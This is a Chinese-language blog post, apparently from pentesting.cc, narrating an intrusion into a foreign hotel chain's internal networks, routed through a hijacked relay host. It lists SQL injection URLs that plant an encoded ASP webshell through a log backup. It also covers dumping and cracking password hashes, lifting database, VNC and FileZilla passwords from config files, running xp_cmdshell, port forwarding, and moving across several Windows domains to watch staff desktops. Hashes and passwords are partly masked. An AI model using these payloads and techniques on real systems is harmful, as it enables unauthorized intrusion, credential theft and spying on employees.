目录

1网站初探

2通过Sql注入获取webshell

2.1通过Log备份获得webshell

3权限提升

3.1查看服务器基本信息

3.2渗透A域中的机器

4渗透其他域下机器

4.1轻松搞定WORKGROUP下机器

4.2渗透B域下的机器

4.3一波未平一波又起

5截稿

本文将讲述对国外某一hotel的渗透测试,让更多的人安全意识得到提高,有攻才有访,防得在好,也有疏忽的地方,这就是为啥你”老婆”原来是你失散多年的兄妹.

网站初探

本篇由于不是针对性的对目标进行渗透测试, 所以直接寻找网站的常见漏洞进行渗透.灰话不多扯.(开启vpn,跳到肉鸡,嘞次购.)
首先了解一下网站的概况,查看网页链接,可以看出是asp.net写的,这里就可以猜测出服务器是windows+iis.使用火狐的Live HTTP headers插件刷的一下就可以看出来了.
clip_image001

通过Sql注入获取webshell

这里漏洞修补了,就不截图了,直接给出方法:
http://www.pentesting.cc/test.aspx?id=1 AND 1 IN (select @@version)--返回
Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)

通过Log备份获得webshell

test.aspx?id=1;alter/**/database/**/[CRSHGC]/**/set/**/recovery/**/full--

test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--

test.aspx?id=1;create/**/table/**/[pg]([a]/**/image)--

test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--

test.aspx?id=1;insert/**/into/**/[pg]([a])/**/values(0x3C25457865637574652872657175657374282272222929253E)--

test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%master.dbo.fn_varbintohexstr(0x44003A005C0049006E00650074007000750062005C0077007700770072006F006F0074005C0078002E00610073007000)/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--

权限提升

先query user看看有在线的木有,如图:
clip_image002
如果有管理在线的话,要么赶紧找到提权突破口就闪,要么就先撤了等时机在上,碰到细心的管理员netstat -an一下就可以很快的排查出xxip在连它,把日志一看就把你T飞了。这里经过查看多个web.config(for一下)找到了数据库的sa明文密码,当然你可以通过sql injection获取数据库密码hash进行破解.
在别人的地盘用”自己”的东西是不是好点,一个sa就可以干很多事情了。个人习惯,先上传gethash工具,如: PwDump7 GetHashes都是很不错的选择,抓好丢机子里用彩虹表慢慢跑,前提免杀(这里tasklistnet startnetstat -an一下木杀毒,此篇就不扯这了)

Administrator:500:AAD3B435B514-xxoo-435B51404EE:4148523F64-xxoo-27962CFEBB8673:::

ACC***ER:1120:7630AC7F823B-xxoo-435B51404EE:67C86B3C2C0-xxoo-7EB68485FF298D0:::

gr***ral:1135:C1812A18AB-xxoo-AD8EF711268D9:D80B352E1DF-xxoo-08BA668C67901B:::

br***ez:3142:397B32F70C9-xxoo-85F02E9B6432A9:3C6DF2F32-xxoo-43EBF3DA543347B16:::

C***nt:3143:42490206A91-xxoo-B435B51404EE:59F1886EEA9-xxoo-728AE1EFDF78EC89:::

hm***o:3145:0C3F791CC-xxoo-D87772F:4E0AC2608807827-xxoo-21717D800:::

......

查看服务器基本信息

ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : host1

   Primary Dns Suffix  . . . . . . . : A.COM

   Node Type . . . . . . . . . . . . : Unknown

   IP Routing Enabled. . . . . . . . : No

   WINS Proxy Enabled. . . . . . . . : No

   DNS Suffix Search List. . . . . . : A.COM

Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . :

   Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #2

   Physical Address. . . . . . . . . : 00-14-85-02-00-xx

   DHCP Enabled. . . . . . . . . . . : No

   IP Address. . . . . . . . . . . . : 192.168.100.205

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.202

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.201

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.195

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.103

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.13

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.65

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 192.168.100.1

   DNS Servers . . . . . . . . . . . : 192.168.100.201

                                       192.168.100.212

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :

   Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet

   Physical Address. . . . . . . . . : 00-14-85-02-00-x2

   DHCP Enabled. . . . . . . . . . . : No

   IP Address. . . . . . . . . . . . : 192.168.100.84

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.83

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.82

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.81

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.80

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   IP Address. . . . . . . . . . . . : 192.168.100.49

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 192.168.100.1

   DNS Servers . . . . . . . . . . . : 192.168.100.201

                                       192.168.100.212

从上面就可以看出 是内网并且存在域,不清楚可以用命令net view /domain

Domain

-------------------------------------------------------------------------------

B          

A           

WORKGROUP           

The command completed successfully.

渗透A域中的机器

查看A域中都有哪些域成员。IP直接ping下就知道,记录下TTL值,猜测系统版本)
dsquery server -o rdn (不清楚的可以nslookup A.com或者net group "domain controllers",这些命令在域环境下执行)

//查找当前域中所有的域控制器

HGhost            //192.168.100.212 TTL=128

host              //192.168.100.205 TTL=128 本机

HGhost2           //192.168.100.213 TTL=128

host1             //本机

可以看出本机为域控制器,那么得到domain admins权限就可以控制A域了,这里经过测试发现domain users权限的用户可以添加domain admins组的用户,直接net group "domain admins" xx /add就可以控制A域了(还是扯下吧,xx用户属于domain users跟administrators组,而administrators组加入了domain admins组 over),这里不建议添加用户之类的.因为这样很容易被发现,导致权限丢失。之前抓的系统hash部分密码用彩虹表破解出来了,我们用这些密码登录A域中的其他机器试试,这里以截图为目的。

先敲下命令 看哪些用户加入了domain admins和domain users组:

net group "domain users" /domain

Group name     Domain Users

Comment        All domain users

Members

-------------------------------------------------------------------------------

AC××××R

Administrator

br××××××z

......

The command completed successfully.

net group "domain admins" /domain

Group name     Domain Admins

Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------

Administrator

The command completed successfully.

插入一点:http://technet.microsoft.com/zh-cn/library/aa291270
这里只有administrator一个域管理,密码没破出来,大家可以hash注入整整。用domain users组权限的用户登录终端看看
clip_image003
好了 运气不错 用户存在 另一台host看IP就知道也是本机了 这里A域下的机器就先到这里,下面看看怎么渗透其他域。

渗透其他域下机器

轻松搞定WORKGROUP下机器

net view /domain:WORKGROUP

Server Name            Remark

-------------------------------------------------------------------------------

\\B*****T-DQ2SQG                        //192.168.100.41

\\I***                 i*** Test Server //192.168.100.57

The command completed successfully.

这里有两台机器workgroup里的机器是不属于域的 比如a b c三台机器 a加入了A域,那么workgroup就剩b c两台了,纯属屌丝个人理解。 先看看41这台 直接mstsc连上3389发现不行 各种猜测就别想了 这里之前从A域中的机器得知 有安装开启过vnc,telnet了下41 发现开启了 那么直接找到vnc密码连下试试,翻了下从C:\Program Files\uvnc bvba\UltraVnc\ultravnc.ini中找到了密码hash

[ultravnc]

passwd=089F6××××6BC55

passwd=19C0××××××CF30B8

破解后用vnc连接工具连上41 输入破解出来的密码(当然可以不破用那啥工具来着..)很幸运 来张图:
clip_image004
这是台xp的 桌面还有安装好驱动的hp打印机 IP为204 应该属于员工机器
clip_image005
还有台57 直接mstsc连上 出现一个user用户 这里猜了几次密码 密码为连接vnc的密码(前面机器收集的多个vnc密码) 进去后此用户是管理员权限
clip_image006
收集下sa密码就撤了 回头用菜刀连一句话操作数据库方便 接着往下看...

渗透B域下的机器

net view /domain:B

Server Name            Remark

-------------------------------------------------------------------------------

\\BEZNAS               DNS-323             //192.168.100.101 TTL=64

\\DSERVER                                  //192.168.100.12  TTL=128

\\MSERVER                                  //192.168.100.21  TTL=128

The command completed successfully.

如果ping不通 可以查看下路由表 route print 一下:

IPv4 Route Table

===========================================================================

Interface List

0x1 ........................... MS TCP Loopback interface

0x10003 ...00 14 85 02 00 xx ...... Broadcom NetXtreme Gigabit Ethernet #2

0x10004 ...00 14 85 02 00 x2 ...... Broadcom NetXtreme Gigabit Ethernet

===========================================================================

===========================================================================

Active Routes:

Network Destination        Netmask          Gateway       Interface  Metric

          0.0.0.0          0.0.0.0    192.168.100.1   192.168.100.49     20

          0.0.0.0          0.0.0.0    192.168.100.1   192.168.100.65     20

        127.0.0.0        255.0.0.0        127.0.0.1        127.0.0.1      1

      169.254.0.0      255.255.0.0   192.168.100.65   192.168.100.65     20

    192.168.100.0    255.255.255.0   192.168.100.49   192.168.100.49     20

    192.168.100.0    255.255.255.0   192.168.100.65   192.168.100.65     20

   192.168.100.13  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.49  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.65  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.80  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.81  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.82  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.83  255.255.255.255        127.0.0.1        127.0.0.1     20

   192.168.100.84  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.103  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.195  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.201  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.202  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.205  255.255.255.255        127.0.0.1        127.0.0.1     20

  192.168.100.255  255.255.255.255   192.168.100.49   192.168.100.49     20

  192.168.100.255  255.255.255.255   192.168.100.65   192.168.100.65     20

        224.0.0.0        240.0.0.0   192.168.100.49   192.168.100.49     20

        224.0.0.0        240.0.0.0   192.168.100.65   192.168.100.65     20

  255.255.255.255  255.255.255.255   192.168.100.49   192.168.100.49      1

  255.255.255.255  255.255.255.255   192.168.100.65   192.168.100.65      1

Default Gateway:     192.168.100.1

===========================================================================

Persistent Routes:

  None

都处于同一个内网 那么有木有可能管理的用户密码都一样了 ... 经过测试 用破出来用户密码跟mimikaz(这作者公布了源码 国内也有人给逆出来了 都是大牛啊)读出的明文测试登录都失败了 是这里有个用户b******z跟B域的名称是一样的 这之间肯定是有联系的. 咱们回头在翻翻之前的机器 部分机器安装了FileZilla客户端 找找FileZilla的帐号密码看看. C:\Documents and Settings\Administrator\Application Data这个目录存储些应用程序的配置信息 这里直接给出地址:

C:\Documents and Settings\Administrator\Application Data\FileZilla\recentservers.xml win2k3
C:\Users\User\AppData\Roaming\FileZilla\recentservers.xml win2k8

<FileZilla3>

    <RecentServers>

        <Server>

            <Host>ftp.b********z.com</Host>

            <Port>21</Port>

            <Protocol>0</Protocol>

            <Type>0</Type>

            <User>x****x</User>

            <Pass>b****z</Pass>

            <Logontype>1</Logontype>

            <TimezoneOffset>0</TimezoneOffset>

            <PasvMode>MODE_DEFAULT</PasvMode>

            <MaximumMultipleConnections>0</MaximumMultipleConnections>

            <EncodingType>Auto</EncodingType>

            <BypassProxy>0</BypassProxy>

        </Server>

    </RecentServers>

</FileZilla3>

那么这个ftp的内网地址多少呢 扫了下内网IP的端口 发现开21的就几台 一个个测试后 确定此ftp就是B域下的192.168.100.101,那么这是台啥机器呢,打开80端口看看 如图:
clip_image007
是台Dlink路由器 而网关100.1是sonicwall 我们看看ftp里面能找到什么可用的信息 从rar里找到了web.config文件 有个数据库连接地址为192.168.21.10的IP,发现可以ping通 telnet开放了21跟3389 用数据库帐号密码猜测登录了ftp 发现没啥可利用的. 在webshell里链接mssql得到sa权限(注意大小写,这里纠结了会)
clip_image008
先看看服务器基本信息 篇幅原因 我就不贴太多.

一波未平一波又起

ipconfig /all

Windows IP Configuration       

   Host Name . . . . . . . . . . . . : H***-DC01       

   Primary Dns Suffix  . . . . . . . : hg**.com    

   Node Type . . . . . . . . . . . . : Hxxxd   

   IP Routing Enabled. . . . . . . . : No      

   WINS Proxy Enabled. . . . . . . . : No      

   DNS Suffix Search List. . . . . . : hg**.com

存在域 192.168.21.x段的内网. dsquery server -o rdn了解到只有一台域控而且就是本机(这年头踩狗屎滴人特别多)来看看有几个域
net view /domain

Domain         

-------------------------------------------------------------------------------    

HG**                       

MS**                   

The command completed successfully.

本机处在HG**域里 看看有多少台机器 如图:
clip_image009
MS**域
[EXEC master..xp_cmdshell 'net view /domain:MS**']
Server Name Remark
-------------------------------------------------------------------------------
\\ZE****X
The command completed successfully.
这3389的密码没有猜出来 net user有个把账户存在但是没破出密码 本来直接添加个domain admins用户 可whoami发现权限处在domain users组里 这回权限只存在此组里 其他别多想. 有了sa 先dir下看看都安全了什么软件 发现了FileZilla server版 之前都是client版没啥用,这个server版可以提权的
clip_image010
type读出FileZilla Server Interface.xml
EXEC master..xp_cmdshell 'type c:\"Program Files (x86)\FileZilla Server\FileZilla Server Interface.xml"'

<FileZillaServer> |  

    <Settings>    |  

        <Item name="Last Server Address" type="string">127.0.0.1</Item>    

        <Item name="Last Server Port" type="numeric">14147</Item>      

        <Item name="Last Server Password" type="string">B****z</Item>      

        <Item name="Always use last server" type="numeric">1</Item>    

        <Item name="User Sorting" type="numeric">0</Item>      

        <Item name="Start Minimized" type="numeric">1</Item>       

        <Item name="Filename Display" type="numeric">1</Item>  

    </Settings>   |  

</FileZillaServer>   

密码跟ftp用户密码一样 FileZilla Server提权这里要注意版本的问题 不然也成功不了 出错如:

Protocol warning: Server version mismatch: Server version is 0.9.55.0, interface version is 0.9.65.0
Protocol error: Protocol version mismatch: Server protocol version is 0.1.11.0, interface protocol version is 0.1.13.0
Connection to server closed.

lcx转发本地监听成功添加了一个对c盘的操作权限,但是替换sethc还是木有权限 不解释. 翻了下用户目录发现有个用户存在于之前所拿的机器中 通过之前的hash破解了此用户 但登录上去还是domain users权限. net group "domain computers" 如图:
clip_image011
其实扫了下21 1433 3389 5900端口,发现都开了vnc端口 直接连接用之前收集到的3个vnc密码测试均可以拿下 这个段的基本都是员工机器 vnc连上能看到有的在敲代码写.net 有的还在发email 有的好像是收银的界面 另个域机器都在这内网段 这里就不蛋疼的截图了.但是域管理员权限还没拿到 大伙们可以试试win2k8提权工具搞搞 这里略.

截稿

为啥不继续了呢 因为上面在web.config找了一个新的内网段21.x 这里我又翻了下在一个rar压缩包了找到了web.config里有N个内网段

<add name="27"  connectionString="Data Source=192.168.51.11;Initial Catalog=B**ne;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="29"  connectionString="Data Source=192.168.21.10;Initial Catalog=Me**rne;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="30"  connectionString="Data Source=192.168.11.2;Initial Catalog=H**H;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="36"  connectionString="Data Source=192.168.71.11;Initial Catalog=H***A;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="37"  connectionString="Data Source=192.168.31.11;Initial Catalog=Chr***ch;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="39"  connectionString="Data Source=192.168.41.11;Initial Catalog=Auc***ndA;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="59"  connectionString="Data Source=192.168.61.11;Initial Catalog=La***ston;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

<add name="38"  connectionString="Data Source=10.4.4.25;Initial Catalog=JC***C;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>

好吧 扫了下存活机器挺多 数据库密码都一样 也有几个域 还有前面的域net group "domain computers"一下还有很多机器 都省略 方法跟上面都差不多 就不继续了(回头俺自己整) 文章主要跟着思路走 这里arp -a和查看路由表都没发现存在其他内网段 但从web.config里发现了新大陆 细心点会有很多发现 这个B域2台win2k8和一个dlink,win2k8用上面破出来的密码可以登录 但权限也是domain users组,篇幅原因 不多写 东西都在我的txt里 因为我后面还有几个内网域跟linux内网的文章没写 这里不花太多时间了 thx.

作者链接http://www.pentesting.cc/on-some-hotel-internal-network-domain-infiltration-cases.html

源链接

Hacking more

...